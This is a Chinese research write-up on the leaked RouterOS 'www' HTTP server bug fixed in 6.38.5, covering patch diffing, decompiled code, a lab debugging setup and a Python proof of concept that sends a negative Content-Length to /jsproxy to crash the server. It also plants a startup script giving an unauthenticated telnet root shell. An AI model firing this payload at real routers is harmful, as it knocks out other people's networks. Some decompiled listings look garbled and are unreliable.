

一步一步 Pwn RouterOS 之调试环境搭建&&漏洞分析&&poc

前言

本文由 **本人** 首发于 先知安全技术社区: <https://xianzhi.aliyun.com/forum/user/5274>

本文分析 Vault 7 中泄露的 RouterOS 漏洞。漏洞影响 6.38.5 以下的版本。

What's new in 6.38.5 (2017-Mar-09 11:32):

!) www - fixed http server vulnerability;

文中涉及的文件:

链接: <https://pan.baidu.com/s/1i5oZnSh> 密码: 9r43

正文

补丁对比&&漏洞分析

首先我们先来看看漏洞的原理，漏洞位于 www 文件。

我们需要拿到 www 文件，直接用 binwalk 提取出 router os 镜像文件的所有内容。

binwalk -Me mikrotik-6.38.4.iso


然后在提取出的文件中搜索即可。

```
hachgubuntu:~/workplace$ cd _mikrotik-6.38.4.iso.extracted/
hachgubuntu:~/workplace/_mikrotik-6.38.4.iso.extracted$ ls
10A43BE.xz      12543C3            173D000          1B076FB.xz      3EA000.squashfs  568000.squashfs  EBC87F        squashfs-root-1  squashfs-root-15  squashfs-root-5
10A4CA4         12543C3.xz       _173D000.extracted  1F4800.squashfs  408800.squashfs  568000.squashfs  _EBC87F.extracted  squashfs-root-10  squashfs-root-16  squashfs-root-6
10A4CA4.xz     1400D5EF.xz      173D000.xz       1FA000.squashfs  41B000.squashfs  5D8000.squashfs  EBC87F.xz      squashfs-root-11  squashfs-root-17  squashfs-root-7
10BC6A6        1410000.squashfs  1700A62          231800.squashfs  45F800.squashfs  8C0000.squashfs  F000.squashfs  squashfs-root-12  squashfs-root-2   squashfs-root-8
10BC6A6.xz    1420B800.squashfs _17D0A62.extracted  2A2000.squashfs  4CF000.squashfs  E9B2A5.elf      squashfs-root  squashfs-root-13  squashfs-root-3   squashfs-root-9
124FD75.xz    1500D000.squashfs 1700A62.xz      3BA000.squashfs  4FF800.squashfs  EA1303.elf      squashfs-root-0  squashfs-root-14  squashfs-root-4
hachgubuntu:~/workplace/_mikrotik-6.38.4.iso.extracted$ find . -name *www*
./squashfs-root-4/nova/lib/www
./squashfs-root-14/nova/bin/www
/squashfs-root-14/nova/etc/www
./squashfs-root-14/nova/lib/www
./squashfs-root-16/nova/etc/www
./squashfs-root-16/nova/lib/www
hachgubuntu:~/workplace/_Mikrotik-6.38.4.iso.extracted$
```


同样的方法提取出 mikrotik-6.38.5.iso 中的 www 文件。

然后使用 diaphora 插件对这两个文件进行补丁比对（因为 6.38.5 正好修复了漏洞）

首先打开 www_6384 (6.38.4 版本的文件)，然后使用 diaphora 导出 sqlite 数据库，diaphora 使用这个数据库文件进行 diff 操作。



然后打开 www_6385 (6.38.5版本的文件) , 使用 diaphora 进行 diff



找到相似度比较低的函数

Line	Address	Name	Address 2	Name 2	Ratio	BBlocks	BBBlocks	Description
00002	08056268	_ZN7Request12readPostDa...	08055a04	_ZN7Request12readPostDa...	0.540	4	7	Perfect match, same name
00001	08053cd4	_ZN6LooperC2Ev	08055474	_ZN6LooperC2Ev	0.870	8	7	Perfect match, same name
00003	0805810a	_ZN7Request7receiveEv	08058236	_ZN7Request7receiveEv	0.880	17	16	Perfect match, same name
00004	08052542	sub_8052542	0805268e	sub_805268E	0.880	1	1	Mnemonics small-primes-product
00000	08052005	main	08052132	main	0.890	25	27	Perfect match, same name
00005	08053282	sub_8053282	08052661	sub_8052661	0.890	1	1	Mnemonics small-primes-product
00006	08052515	sub_8052515	08056db0	sub_8056DB0	0.890	1	1	Mnemonics small-primes-product
00007	0805329c	sub_805329C	08050dca	sub_8050DCA	0.890	1	1	Mnemonics small-primes-product

选中要查看差异的 条目 , 然后右键

Line	Address	Name	Address 2	Name 2	Ratio	BBlocks	BBlocks	Description
00002	08056268	ZNK7P...+12m...+Dw...	08055e04	ZNK7P...+12m...+Dw...+stDa...	0.540	4	7	Perfect match, same name
00001	08053cd4	_ZN6L...		Ins	0.870	8	7	Perfect match, same name
00003	0805810a	_ZN7R...		Del	0.880	17	16	Perfect match, same name
00004	08052542	sub_5...		Edit...	0.880	1	1	Mnemonics small-primes-prod
00000	08052005	main		Ctrl+E	0.890	25	27	Perfect match, same name
00005	08053282	sub_5...		Refresh	0.890	1	1	Mnemonics small-primes-prod
00006	08052515	sub_5...		Copy	0.890	1	1	Mnemonics small-primes-prod
00007	0805329c	sub_5...		Copy all	0.890	1	1	Mnemonics small-primes-prod
				Unsort				
				Quick filter	Ctrl+F			
				Modify filters...	Ctrl+Shift+F			
				Diff assembly				
				Diff pseudo-code				
				Diff assembly in a graph				
				Import selected				
				Import *all* functions				
				Import *all* data for sub_* functions				
				Highlight matches				
				Unhighlight matches				
				Save diffing results				

可以选择查看 diff 的选项，使用 diff pseudo-code 就可以对 伪c 代码 diff

```
1bool __cdecl Request::readpostData(Request *this, string *a2, unsigned int
2{
3    char v3; // $81C_1
4    bool result; // a1
5    _DWORD *v5; // eax
6
7    char v6; // [esp+20h] [ebp-20h]
8    unsigned int v7; // [esp+24h] [ebp-1Ch]
9
10   v7 = 0;
11   string::string((string *) &v6, "content-length");
12   v3 = Headers::getHeader(Headers *this, (const string *) &v6, &v7);
13   string::string((string *) &v6);
14   result = v3;
15   if (!v3)
16   {
17       result = 0;
18       if (a3 >= v7)
19       {
20           string::string((string *) &v6);
21           sub_80530A(a2, (const string *) &v6);
22           string::string((string *) &v6);
23           string::resize(a2, v7, 0);
24           v5 = (_DWORD *) istream::read((istream *) (this + 8), (char *) (*(_DWORD *) v5 + *(_DWORD *) (*v5 - 12) + 20) + 5));
25           result = (*(_BYTE *) v5 + *(_DWORD *) (*v5 - 12) + 20) + 5;
26       }
27   }
28   return result;
29}
```

```
1 char __cdecl Request::readPostData(Request *this, string *a2, unsigned int a3)
2 {
3     char v3; // bl
4     void *v4; // esp
5     _DWORD *v5; // eax
6     int v7; // [esp+8h] [ebp-20h]
7     char v8; // [esp+10h] [ebp-20h]
8     unsigned int v9; // [esp+14h] [ebp-1Ch]
9
10    v9 = 0;
11    string::string((string *) &v8, "content-length");
12    v3 = Headers::getHeader((Headers *) this, (const string *) &v8, &v9);
13    string::~string((string *) &v8);
14    if (!v3 || a3 && a3)
15        return 0;
16    v4 = alloca(v9 + 1);
17    v5 = (_DWORD *) istream::read((istream *) (this + 8), (char *) &v7, v9);
18    if ((*(_BYTE *) v5 + *(_DWORD *) (*v5 - 12) + 20) & 5)
19        return 0;
20    string::string((string *) &v8, (const char *) &v7, v9);
21    sub_80532AC(a2, (const string *) &v8);
22    string::~string((string *) &v8);
23    return v3;
}
```

对比 diff 可以发现，修复漏洞后的程序没有了 `alloca`，而是直接使用 `string::string` 构造了字符串。

下面直接分析 www.6384.com

```

1 char __cdecl Request::readpostData(Request *this, string *a2, unsigned int a3)
2{
3     char v3; // bl
4     void *v4; // esp
5     _DWORD *v5; // eax
6     int v7; // [esp+8h] [ebp-28h]
7     char v8; // [esp+10h] [ebp-20h]
8     unsigned int content_length; // [esp+14h] [ebp-1Ch]
9
10    content_length = 0;
11    string::string(&v8, "content-length");
12    v3 = Headers::getHeader(this, &v8, &content_length);
13    string::~string(&v8);
14    if ( !v3 || a3 && a3 < content_length )
15        return 0;
16    v4 = alloca(content_length + 1);
17    v5 = istream::read((this + 8), &v7, content_length);
18    if ( *(v5 + *(v5 - 12) + 20) & 5 )
19        return 0;
20    string::string(&v8, &v7, content_length);
21    stralign(a2, &v8);
22    string::~string(&v8);
23    return v3;
24}

```

获取 content-length 的值之后，就传给了 alloca 分配内存。

这里和前文不同的是，这里 alloca 的参数是 无符号数。

unsigned int content_length; // [esp+14h] [ebp-1Ch]

所以我们将能修改的是栈顶以上的数据，触发崩溃的poc.

poc

```

from pwn import *
def makeHeader(num):
    return "POST /jsproxy HTTP/1.1\r\nContent-Length: " + str(num) + "\r\n\r\n"
s1 = remote("192.168.2.124", 80)
s1.send(makeHeader(-1) + "A" * 1000)

```

注：ip 按实际情况设置


调试环境搭建&&Poc测试

首先我们得先安装 routeros， 使用 vmware 加载 iso



注：routeros 是 32 位的，硬盘类型要为 ide 否则会找不到驱动。

然后开启虚拟机，就会进入



按 a 选择所有，然后按 i 进行安装，然后一直输入 y 确定即可。

```
[X] adep [X] kohi [X] aps
[X] advanced-tools [X] lcd [X] user-manager
[X] calea [X] mpls [X] wireless@
[X] dude [X] multicast
[X] gps [X] ntp
```

system (depends on nothing):
Main package with basic services and drivers

Do you want to keep old configuration? [y/n]:y
Warning: all data on the disk will be erased!
Continue? [y/n]:y
WARNING: couldn't keep config - current license does not allow that
Creating partition...
Formatting data partition 74%

安装完成后，重启，就会进入登录界面了，使用 admin 和空密码登录即可。

然后输入 setup，接着输入 a，按照提示配置好 ip 地址。

```
[admin@MikroTik] > setup
Setup uses Safe Mode. It means that all changes that are made during setup
are reverted in case of error, or if Ctrl-C is used to abort setup. To keep
changes exit setup using the 'x' key.

[Safe Mode taken]
Choose options by pressing one of the letters in the left column, before
slash. Pressing 'x' will exit current menu, pressing Enter key will select the
entry that is marked by an '*'. You can abort setup at any time by pressing
Ctrl-C.
Entries marked by '+' are already configured.
Entries marked by '-' cannot be used yet.
Entries marked by 'X' cannot be used without installing additional packages.
  r - reset all router configuration
* a - configure ip address and gateway
  d - setup dhcp client
  s - setup dhcp server
  p - setup pppoe client
  t - setup pptp client
  x - exit menu
your choice [press Enter to configure ip address and gateway]: _
```

```

x - exit menu
your choice [press Enter to configure ip address and gateway]: a
* a - add ip address
- g - setup default gateway
x - exit menu
your choice [press Enter to add ip address]: a
enable interface: ether1
ip address/netmask: 192.168.2.124/24
#Enabling interface
✓interface enable ether1
#Adding IP address
✓ip address add address=192.168.2.124/24 interface=ether1 comment="added by
    setup"
+ a - add ip address
* g - setup default gateway
x - exit menu
your choice [press Enter to setup default gateway]: 

```

然后就可以使用 ssh 登录了。

```

haclh@ubuntu:~$ ssh admin@192.168.2.124
The authenticity of host '192.168.2.124 (192.168.2.124)' can't be established.
RSA key fingerprint is SHA256:GwyT0PFacbjyvmwn+ZMT4gL5zR79/nA1L+MyZiGuhYY.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.2.124' (RSA) to the list of known hosts.

          MMM      MMM      KKK      TTTTTTTTTT      KKK
        MMMMM     MMMMM     KKK      TTTTTTTTTT      KKK
      MMM MMMMM  III  KKK  KKK  RRRRRR  000000  TTT  III  KKK  KKK
      MM  MM   III  KKKKKK  RRR  RRR  000  000  TTT  III  KKKKK
      MM   MM   III  KKK  KKK  RRRRRR  000  000  TTT  III  KKK  KKK
      MM   MM   III  KKK  KKK  RRR  RRR  000000  TTT  III  KKK  KKK

MikroTik RouterOS 6.38.4 (c) 1999-2017      http://www.mikrotik.com/

ROUTER HAS NO SOFTWARE KEY
-----
You have 23h46m to configure the router to be remotely accessible,
and to enter the key by pasting it in a Telnet window or in Winbox.
Turn off the device to stop the timer.
See www.mikrotik.com/key for more details.


Current installation "software ID": 15EU-85AL
Please press "Enter" to continue!

[admin@MikroTik] > 

```

Router Os 对 linux 做了大量的裁剪，所以我们需要给系统增加一些文件方便进行调试，busybox 和 gdbserver（文件在百度云内）。

要增加文件需要使用一个 live-cd 版的 linux 挂载 router os 的磁盘分区，增加文件。这里使用了 ubuntu。关闭虚拟机，设置光盘镜像，然后修改引导为光盘即可进入 live-cd。



选择 try ubuntu，进入系统后，挂载 /dev/sda1 和 /dev/sda2

```
ubuntu@ubuntu:~$ mkdir /tmp/d1
ubuntu@ubuntu:~$ mkdir /tmp/d2
ubuntu@ubuntu:~$ sudo mount /dev/sda1 /tmp/d1
ubuntu@ubuntu:~$ sudo mount /dev/sda2 /tmp/d2
ubuntu@ubuntu:~$
```

把 busybox 和 gdbserver 放到 bin 目录(不是在 /dev/sda1 就是在 /dev/sda2)下，然后在 etc 目录下新建 rc.d/run.d/S99own，内容为

```
#!/bin/bash
mkdir /ram/mybin
/flash/bin/busybox-i686 --install -s /ram/mybin
export PATH=/ram/mybin:$PATH
telnetd -p 23000 -l bash
```

```
ubuntu@ubuntu:/tmp/d2$ cat etc/rc.d/run.d/S99own
#!/bin/bash
mkdir /tmp/mybin
/flash/bin/busybox-i686 --install -s /tmp/mybin
export PATH=/tmp/mybin:$PATH
telnetd -p 23000 -l bash

ubuntu@ubuntu:/tmp/d2$ ls bin
busybox-i686 gdbserver.i686 milo
ubuntu@ubuntu:/tmp/d2$
```

umount 然后去掉光盘，重新启动，应该就可以 telnet 192.168.2.124 23000 连接了。

```
haclh@ubuntu:~/workplace/_mikrotik-6.38.4.iso.extracted$ telnet 192.168.2.124 23000
Trying 192.168.2.124...
Connected to 192.168.2.124.
Escape character is '^]'.

MikroTik v6.38.4 (stable)

BusyBox v1.00 (2017.03.02-08:29+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
#
```

此时使用

```
gdbserver.i686 192.168.2.124:5050 --attach $(pidof www)
```

如图

```
# gdbserver.i686 192.168.2.124:5050 --attach $(pidof www)
Attached; pid = 238
Listening on port 5050
```

然后 gdb 连上去。

```
target remote 192.168.2.124:5050
```

```

$ ./app11 & curl -s http://192.168.2.124:5050
haclh@ubuntu:~/Desktop/www_6384$ gdb-multiarch -q ~/Desktop/www_6384
Loaded 112 commands. Type pwndbg [filter] for a list.
Reading symbols from /home/haclh/Desktop/www_6384...(no debugging symbols found)...done.
pwndbg> target remote 192.168.2.124:5050
Remote debugging using 192.168.2.124:5050
Reading /lib/libumsg.so from remote target...
warning: File transfers from remote targets can be slow. Use "set sysroot" to access files
stead.
Reading /lib/libxml++.so from remote target...
Reading /lib/libdl.so.0 from remote target...
Reading /lib/libpthread.so.0 from remote target...
Reading /lib/libssl.so.1.0.0 from remote target...
Reading /lib/libcrypto.so.1.0.0 from remote target...

```

运行poc,程序崩溃。

```

[-----] REGISTERS -----
*EAX 0xfffffffff
*EBX 0x77535201 ← 0x0
*ECX 0xfffffff17f
*EDX 0x805ec40 → 0x805ab88 → 0x8054884 (fdstreambuf::~fdstreambuf()) ← push    ebp
*EDI 0x77558000 ← 0x75e
*ESI 0x8060b1a ← 0x0
*EBP 0x77557138 → 0x77557168 → 0x775571a8 ← 0x41414141 ('AAAA')
*ESP 0x77557120 → 0x77557134 ← 0xfffffffff
*EIP 0x775b8e0e ← rep movsb byte ptr es:[edi], byte ptr [esi]
[-----] DISASM -----
► 0x775b8e0e    rep movsb byte ptr es:[edi], byte ptr [esi]
↓
► 0x775b8e0e    rep movsb byte ptr es:[edi], byte ptr [esi]

[-----] STACK -----
00:0000 esp 0x77557120 → 0x77557134 ← 0xfffffffff
01:0004 0x77557124 → 0x77535201 ← 0x0
02:0008 0x77557128 → 0x805ab88 → 0x8054884 (fdstreambuf::~fdstreambuf()) ← push    ebp
03:000c 0x7755712c → 0x7755717f ← 0x41414100
04:0010 0x77557130 → 0x77557348 ← 0x41414141 ('AAAA')
05:0014 0x77557134 ← 0xfffffffff
06:0018 ebp 0x77557138 → 0x77557168 → 0x775571a8 ← 0x41414141 ('AAAA')
07:001c 0x7755713c → 0x775b74c5 ← add    esp, 0x10
[-----] BACKTRACE -----
► f 0 775b8e0e
  f 1 775b74c5
  f 2 8055a6f
  f 3 41414141
  f 4 41414141
  f 5 41414141
  f 6 41414141
  f 7 41414141
  f 8 41414141
  f 9 41414141
  f 10 41414141
Program received signal SIGSEGV (fault address 0x77558000)
pwndbg>

```

参考：

<https://github.com/BigNerd95/Chimay-Red/>

来源：<https://www.cnblogs.com/hac425/p/9416837.html>